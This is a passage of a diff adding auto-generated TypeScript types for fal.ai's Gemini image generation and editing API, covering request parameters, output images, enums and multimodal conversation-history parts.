@maxLength 50000 + * @example make a photo of the man driving the car down the california coastline + * @type string + */ + prompt: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The URLs of the images to use for image-to-image generation or image editing. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png","https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input-2.png"] + * @type array + */ + image_urls: string[] +} + +export type ImageFile1Da37185 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiGemini25FlashImageEdit = { + /** + * @description The edited images. + * @example [{"content_type":"image/png","file_name":"nano-banana-multi-edit-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-multi-edit-output.png"}] + * @type array + */ + images: ImageFile1Da37185[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export type GeminiTextPart = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' +} + +export type GeminiImagePart = { + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string +} + +export const geminiDocumentPartMimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPartMimeTypeEnumKey = + (typeof geminiDocumentPartMimeTypeEnum)[keyof typeof geminiDocumentPartMimeTypeEnum] + +export type GeminiDocumentPart = { + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPartMimeTypeEnumKey + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' +} + +export type GeminiSignaturePart = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' +} + +export const geminiMessageRoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiMessageRoleEnumKey = + (typeof geminiMessageRoleEnum)[keyof typeof geminiMessageRoleEnum] + +export type GeminiMessage = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiMessageRoleEnumKey + /** + * @description Ordered text, image, document, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPart & { + type: 'text' + }) + | (GeminiImagePart & { + type: 'image' + }) + | (GeminiDocumentPart & { + type: 'document' + }) + | (GeminiSignaturePart & { + type: 'signature' + }) + )[] +} + +export const inputFalAiGemini3ProImagePreviewSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiGemini3ProImagePreviewSafetyToleranceEnumKey = + (typeof inputFalAiGemini3ProImagePreviewSafetyToleranceEnum)[keyof typeof inputFalAiGemini3ProImagePreviewSafetyToleranceEnum] + +export const inputFalAiGemini3ProImagePreviewOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiGemini3ProImagePreviewOutputFormatEnumKey = + (typeof inputFalAiGemini3ProImagePreviewOutputFormatEnum)[keyof typeof inputFalAiGemini3ProImagePreviewOutputFormatEnum] + +export const inputFalAiGemini3ProImagePreviewAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputFalAiGemini3ProImagePreviewAspectRatioKey = + (typeof inputFalAiGemini3ProImagePreviewAspectRatio)[keyof typeof inputFalAiGemini3ProImagePreviewAspectRatio] + +export const inputFalAiGemini3ProImagePreviewResolutionEnum = { + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiGemini3ProImagePreviewResolutionEnumKey = + (typeof inputFalAiGemini3ProImagePreviewResolutionEnum)[keyof typeof inputFalAiGemini3ProImagePreviewResolutionEnum] + +export type InputFalAiGemini3ProImagePreview = { + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Enable web search for the image generation task. This will allow the model to use the latest information from the web to generate the image. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description Whether to include thought summaries. Omit to preserve the existing behavior: an explicit thinking_level requests summaries. Set limit_generations=false to return summary text in description. This does not disable thinking or return intermediate thought images. + */ + include_thoughts?: boolean | null + /** + * @description Sampling temperature. Omit to use the provider default of 1. Explicit values use a direct Google or Vertex API. + */ + temperature?: number | null + /** + * @description Previous native user/model turns. Replay a returned conversation's messages unchanged, including thought signatures; the current prompt is appended as a new user turn. + * @type array | undefined + */ + history?: GeminiMessage[] + /** + * @description Maximum output tokens for the generation. Omit to retain the provider default. Explicit values use a direct Google or Vertex API. + */ + max_output_tokens?: number | null + /** + * @description Thinking effort. Pro Image supports only high; omit to retain its provider default. An explicit level requests summaries unless include_thoughts overrides it. Thinking cannot be disabled. + */ + thinking_level?: 'high' | null + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description Ordered text, original images, PDF or UTF-8 text documents appended to the current prompt. Uses a native provider. Images count toward the total 14-reference limit. + * @type array | undefined + */ + context?: ( + | (GeminiTextPart & { + type: 'text' + }) + | (GeminiImagePart & { + type: 'image' + }) + | (GeminiDocumentPart & { + type: 'document' + }) + | (GeminiSignaturePart & { + type: 'signature' + }) + )[] + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 50000 + * @example An action shot of a black lab swimming in an inground suburban swimming pool. The camera is placed meticulously on the water line, dividing the image in half, revealing both the dogs head above water holding a tennis ball in it's mouth, and it's paws paddling underwater. + * @type string + */ + prompt: string + /** + * @description Nucleus sampling probability. Omit to use the provider default of 0.95. Explicit values use a direct Google or Vertex API. + */ + top_p?: number | null + /** + * @description Return reusable native conversations with original image parts and provider thought signatures. Uses a native provider. Each generated conversation is independent; send its messages as history for the next turn. + * @default false + * @type boolean | undefined + */ + return_history?: boolean + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiGemini3ProImagePreviewSafetyToleranceEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiGemini3ProImagePreviewOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The aspect ratio of the generated image. + * @default 1:1 + */ + aspect_ratio?: InputFalAiGemini3ProImagePreviewAspectRatioKey | null + /** + * @description The resolution of the image to generate. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiGemini3ProImagePreviewResolutionEnumKey +} + +export type ImageFile13Ca7D44 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type GeminiTextPartA9664164 = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiImagePartA018E7De = { + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export const geminiDocumentPart466101EeMimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart466101EeMimeTypeEnumKey = + (typeof geminiDocumentPart466101EeMimeTypeEnum)[keyof typeof geminiDocumentPart466101EeMimeTypeEnum] + +export type GeminiDocumentPart466101Ee = { + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart466101EeMimeTypeEnumKey + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiVideoPart = { + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiSignaturePartA5B41925 = { + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiAudioPart = { + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export const geminiVideoMessageRoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessageRoleEnumKey = + (typeof geminiVideoMessageRoleEnum)[keyof typeof geminiVideoMessageRoleEnum] + +export type GeminiVideoMessage = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessageRoleEnumKey + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPartA9664164 & { + type: 'text' + }) + | (GeminiImagePartA018E7De & { + type: 'image' + }) + | (GeminiDocumentPart466101Ee & { + type: 'document' + }) + | (GeminiVideoPart & { + type: 'video' + }) + | (GeminiSignaturePartA5B41925 & { + type: 'signature' + }) + | (GeminiAudioPart & { + type: 'audio' + }) + )[] +} + +export type GeminiConversation = { + /** + * @description One complete provider conversation. Pass messages as history in the next request, retaining every signature and part. + * @type array + */ + messages: GeminiVideoMessage[] +} + +export type OutputFalAiGemini3ProImagePreview = { + /** + * @description The generated images. + * @example [{"file_name":"nano-banana-pro-t2i-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-pro-t2i-output.png","content_type":"image/png"}] + * @type array + */ + images: ImageFile13Ca7D44[] + /** + * @description Provider grounding metadata for the generated images, including search queries, source pages and image-source attribution when available. + * @type array | undefined + */ + grounding_metadata?: object[] + /** + * @description Reusable per-generation conversations, populated only when return_history is true. Retain every part and thought signature when continuing a conversation. + * @type array | undefined + */ + conversations?: GeminiConversation[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export const inputFalAiGemini3ProImagePreviewEditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiGemini3ProImagePreviewEditSafetyToleranceEnumKey = + (typeof inputFalAiGemini3ProImagePreviewEditSafetyToleranceEnum)[keyof typeof inputFalAiGemini3ProImagePreviewEditSafetyToleranceEnum] + +export const inputFalAiGemini3ProImagePreviewEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiGemini3ProImagePreviewEditOutputFormatEnumKey = + (typeof inputFalAiGemini3ProImagePreviewEditOutputFormatEnum)[keyof typeof inputFalAiGemini3ProImagePreviewEditOutputFormatEnum] + +export const inputFalAiGemini3ProImagePreviewEditAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputFalAiGemini3ProImagePreviewEditAspectRatioKey = + (typeof inputFalAiGemini3ProImagePreviewEditAspectRatio)[keyof typeof inputFalAiGemini3ProImagePreviewEditAspectRatio] + +export const inputFalAiGemini3ProImagePreviewEditResolutionEnum = { + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiGemini3ProImagePreviewEditResolutionEnumKey = + (typeof inputFalAiGemini3ProImagePreviewEditResolutionEnum)[keyof typeof inputFalAiGemini3ProImagePreviewEditResolutionEnum] + +export type InputFalAiGemini3ProImagePreviewEdit = { + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Enable web search for the image generation task. This will allow the model to use the latest information from the web to generate the image. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description Whether to include thought summaries. Omit to preserve the existing behavior: an explicit thinking_level requests summaries. Set limit_generations=false to return summary text in description. This does not disable thinking or return intermediate thought images. + */ + include_thoughts?: boolean | null + /** + * @description Sampling temperature. Omit to use the provider default of 1. Explicit values use a direct Google or Vertex API. + */ + temperature?: number | null + /** + * @description Previous native user/model turns. Replay a returned conversation's messages unchanged, including thought signatures; the current prompt is appended as a new user turn. + * @type array | undefined + */ + history?: GeminiMessage[] + /** + * @description Maximum output tokens for the generation. Omit to retain the provider default. Explicit values use a direct Google or Vertex API. + */ + max_output_tokens?: number | null + /** + * @description Thinking effort. Pro Image supports only high; omit to retain its provider default. An explicit level requests summaries unless include_thoughts overrides it. Thinking cannot be disabled. + */ + thinking_level?: 'high' | null + /** + * @description Optional system instruction that steers the model's persona and output style across the request. Leave blank to omit; when provided, it is sent as the system instruction to Gemini (or as a system message on OpenAI-compatible providers). + * @maxLength 50000 + * @default '' + * @type string | undefined + */ + system_prompt?: string + /** + * @description Ordered text, original images, PDF or UTF-8 text documents appended to the current prompt. Uses a native provider. Images count toward the total 14-reference limit. + * @type array | undefined + */ + context?: ( + | (GeminiTextPart & { + type: 'text' + }) + | (GeminiImagePart & { + type: 'image' + }) + | (GeminiDocumentPart & { + type: 'document' + }) + | (GeminiSignaturePart & { + type: 'signature' + }) + )[] + /** + * @description The prompt for image editing. + * @minLength 3 + * @maxLength 50000 + * @example make a photo of the man driving the car down the california coastline + * @type string + */ + prompt: string + /** + * @description The URLs of the images to use for image-to-image generation or image editing. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input.png","https://storage.googleapis.com/falserverless/example_inputs/nano-banana-edit-input-2.png"] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description Nucleus sampling probability. Omit to use the provider default of 0.95. Explicit values use a direct Google or Vertex API. + */ + top_p?: number | null + /** + * @description Return reusable native conversations with original image parts and provider thought signatures. Uses a native provider. Each generated conversation is independent; send its messages as history for the next turn. + * @default false + * @type boolean | undefined + */ + return_history?: boolean + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ + safety_tolerance?: InputFalAiGemini3ProImagePreviewEditSafetyToleranceEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiGemini3ProImagePreviewEditOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Experimental parameter to limit the number of generations from each round of prompting to 1. Set to `True` to to disregard any instructions in the prompt regarding the number of images to generate. + * @default true + * @type boolean | undefined + */ + limit_generations?: boolean + /** + * @description The aspect ratio of the generated image, including 1:4, 4:1, 1:8 and 8:1. + * @default auto + */ + aspect_ratio?: InputFalAiGemini3ProImagePreviewEditAspectRatioKey | null + /** + * @description The resolution of the image to generate. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiGemini3ProImagePreviewEditResolutionEnumKey +} + +export type ImageFileE5Ad38F2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image + */ + height?: number | null +} + +export type GeminiTextPart9E7E5C12 = { + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiImagePart3Faa7A28 = { + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export const geminiDocumentPartC9571B38MimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPartC9571B38MimeTypeEnumKey = + (typeof geminiDocumentPartC9571B38MimeTypeEnum)[keyof typeof geminiDocumentPartC9571B38MimeTypeEnum] + +export type GeminiDocumentPartC9571B38 = { + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPartC9571B38MimeTypeEnumKey + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export type GeminiSignaturePart4F30C921 = { + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null +} + +export const geminiVideoMessageDd6Aeb82RoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessageDd6Aeb82RoleEnumKey = + (typeof geminiVideoMessageDd6Aeb82RoleEnum)[keyof typeof geminiVideoMessageDd6Aeb82RoleEnum] + +export type GeminiVideoMessageDd6Aeb82 = { + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessageDd6Aeb82RoleEnumKey + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPart9E7E5C12 & { + type: 'text' + }) + | (GeminiImagePart3Faa7A28 & { + type: 'image' + }) + | (GeminiDocumentPartC9571B38 & { + type: 'document' + }) + | (GeminiVideoPart & { + type: 'video' + }) + | (GeminiSignaturePart4F30C921 & { + type: 'signature' + }) + | (GeminiAudioPart & { + type: 'audio' + }) + )[] +} + +export type GeminiConversationDa2Fea8D = { + /** + * @description One complete provider conversation. Pass messages as history in the next request, retaining every signature and part. + * @type array + */ + messages: GeminiVideoMessageDd6Aeb82[] +} + +export type OutputFalAiGemini3ProImagePreviewEdit = { + /** + * @description The edited images. + * @example [{"file_name":"nano-banana-pro-edit-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/nano-banana-pro-edit-output.png","content_type":"image/png"}] + * @type array + */ + images: ImageFileE5Ad38F2[] + /** + * @description Provider grounding metadata for the generated images, including search queries, source pages and image-source attribution when available. + * @type array | undefined + */ + grounding_metadata?: object[] + /** + * @description Reusable per-generation conversations, populated only when return_history is true. Retain every part and thought signature when continuing a conversation. + * @type array | undefined + */ + conversations?: GeminiConversationDa2Fea8D[] + /** + * @description The description of the generated images. + * @type string + */ + description: string +} + +export type GeminiTextPartCf062Fba = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Text at this position in the conversation. + * @type string + */ + text: string + /** + * @description The text part discriminator. + * @type string + */ + type: 'text' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiImagePartE407Fd24 = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Original image URL or data URI. Replayed without resizing or re-encoding. + * @type string + */ + image_url: string + /** + * @description The image part discriminator. + * @type string + */ + type: 'image' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiDocumentPart43D07734MimeTypeEnum = { + 'application/pdf': 'application/pdf', + 'text/plain': 'text/plain', +} as const + +export type GeminiDocumentPart43D07734MimeTypeEnumKey = + (typeof geminiDocumentPart43D07734MimeTypeEnum)[keyof typeof geminiDocumentPart43D07734MimeTypeEnum] + +export type GeminiDocumentPart43D07734 = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The document part discriminator. + * @type string + */ + type: 'document' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null + /** + * @description The document's media type. + * @type string + */ + mime_type: GeminiDocumentPart43D07734MimeTypeEnumKey + /** + * @description PDF or UTF-8 plain-text document URL or data URI (up to 15 MB). + * @type string + */ + file_url: string +} + +export type GeminiVideoPart6B6B51Da = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Video URL or data URI (up to 15 MB and 120 seconds), or a YouTube URL. Supported by Flash Image only. + * @type string + */ + video_url: string + /** + * @description The video part discriminator. + * @type string + */ + type: 'video' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export type GeminiSignaturePart815D09F9 = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description The signature part discriminator. + * @type string + */ + type: 'signature' + /** + * @description Provider-issued signature-only part, replayed unchanged. + * @minLength 1 + * @type string + */ + thought_signature: string +} + +export type GeminiAudioPart29B20245 = { + /** + * @description Provider thought marker, preserved when replaying a returned conversation. + */ + thought?: boolean | null + /** + * @description Original audio URL or data URI from a previous Flash Image request (up to 15 MB). + * @type string + */ + audio_url: string + /** + * @description The audio part discriminator. + * @type string + */ + type: 'audio' + /** + * @description Opaque provider-issued thought signature. Replay it unchanged on its original part. + */ + thought_signature?: string | null +} + +export const geminiVideoMessage3B354EeaRoleEnum = { + user: 'user', + model: 'model', +} as const + +export type GeminiVideoMessage3B354EeaRoleEnumKey = + (typeof geminiVideoMessage3B354EeaRoleEnum)[keyof typeof geminiVideoMessage3B354EeaRoleEnum] + +export type GeminiVideoMessage3B354Eea = { + /** + * @description Ordered text, image, document, video, audio, and signature parts. + * @type array + */ + parts: ( + | (GeminiTextPartCf062Fba & { + type: 'text' + }) + | (GeminiImagePartE407Fd24 & { + type: 'image' + }) + | (GeminiDocumentPart43D07734 & { + type: 'document' + }) + | (GeminiVideoPart6B6B51Da & { + type: 'video' + }) + | (GeminiSignaturePart815D09F9 & { + type: 'signature' + }) + | (GeminiAudioPart29B20245 & { + type: 'audio' + }) + )[] + /** + * @description Native Gemini conversation role. + * @type string + */ + role: GeminiVideoMessage3B354EeaRoleEnumKey +} + +export const inputFalAiGemini31FlashImagePreviewThinkingLevel = { + minimal: 'minimal', + high: 'high', +} as const + +export type InputFalAiGemini31FlashImagePreviewThinkingLevelKey = + (typeof inputFalAiGemini31FlashImagePreviewThinkingLevel)[keyof typeof inputFalAiGemini31FlashImagePreviewThinkingLevel] + +export const inputFalAiGemini31FlashImagePreviewResolutionEnum = { + '0.5K': '0.5K', + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiGemini31FlashImagePreviewResolutionEnumKey = + (typeof inputFalAiGemini31FlashImagePreviewResolutionEnum)[keyof typeof inputFalAiGemini31FlashImagePreviewResolutionEnum] + +export const inputFalAiGemini31FlashImagePreviewOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiGemini31FlashImagePreviewOutputFormatEnumKey = + (typeof inputFalAiGemini31FlashImagePreviewOutputFormatEnum)[keyof typeof inputFalAiGemini31FlashImagePreviewOutputFormatEnum] + +export const inputFalAiGemini31FlashImagePreviewSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiGemini31FlashImagePreviewSafetyToleranceEnumKey = + (typeof inputFalAiGemini31FlashImagePreviewSafetyToleranceEnum)[keyof typeof inputFalAiGemini31FlashImagePreviewSafetyToleranceEnum] + +export const inputFalAiGemini31FlashImagePreviewAspectRatio = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '3:2': '3:2', + '4:3': '4:3', + '5:4': '5:4', + '1:1': '1:1', + '4:5': '4:5', + '3:4': '3:4', + '2:3': '2:3', + '9:16': '9:16', + '4:1': '4:1', + '1:4': '1:4', + '8:1': '8:1', + '1:8': '1:8', +} as const + +export type InputFalAiGemini31FlashImagePreviewAspectRatioKey = + (typeof inputFalAiGemini31FlashImagePreviewAspectRatio)[keyof typeof inputFalAiGemini31FlashImagePreviewAspectRatio] + +export type InputFalAiGemini31FlashImagePreview = { + /** + * @description Whether to include thought summaries. Omit to preserve the existing behavior: an explicit thinking_level requests summaries. Set limit_generations=false to return summary text in description. This does not disable thinking or return intermediate thought images. + */ + include_thoughts?: boolean | null + /** + * @description Controls thinking effort ('minimal' or 'high') and requests thought summaries. Omit to use the provider default ('minimal'); thinking cannot be disabled. + */ + thinking_level?: InputFalAiGemini31FlashImagePreviewThinkingLevelKey | null + /** + * @description Ordered text, image, PDF, UTF-8 text-file or video parts appended to the current prompt. Original media bytes are preserved; images count toward the total 14-reference limit. + * @type array | undefined + */ + context?: ( + | (GeminiTextPartCf062Fba & { + type: 'text' + }) + | (GeminiImagePartE407Fd24 & { + type: 'image' + }) + | (GeminiDocumentPart43D07734 & { + type: 'document' + }) + | (GeminiVideoPart6B6B51Da & { + type: 'video' + }) + | (GeminiSignaturePart815D09F9 & { + type: 'signature' + }) + )[] + /** + * @description Previous native Gemini turns, including original parts and thought signatures from conversations. The current prompt starts a new user turn. + * @type array | undefined + */ + history?: GeminiVideoMessage3B354Eea[] + /** + * @description Enable web search for the image generation task. This will allow the model to use the latest information from the web to generate the image. + * @default false + * @type boolean | undefined + */ + enable_web_search?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Ground image generation with Google Image Search. Can be combined with enable_web_search; source attribution is returned in grounding_metadata. Uses direct Google or Vertex APIs. + * @default false + * @type boolean | undefined + */ + enable_image_search?: boolean + /** + * @description The text prompt to generate an image from. + * @minLength 3 + * @maxLength 50000 + * @example An action shot of a black lab swimming in an inground suburban swimming pool. The camera is placed meticulously on the water line, dividing the image in half, revealing both the dogs head above water holding a tennis ball in it's mouth, and it's paws paddling underwater. + * @type string + */ + prompt: string + /** + * @description The resolution of the image to generate. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiGemini31FlashImagePreviewResolutionEnumKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiGemini31FlashImagePreviewOutputFormatEnumKey + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The safety tolerance level for content moderation. 1 is the most strict (blocks most content), 6 is the least strict. + * @default '4' + * @type string | undefined + */ 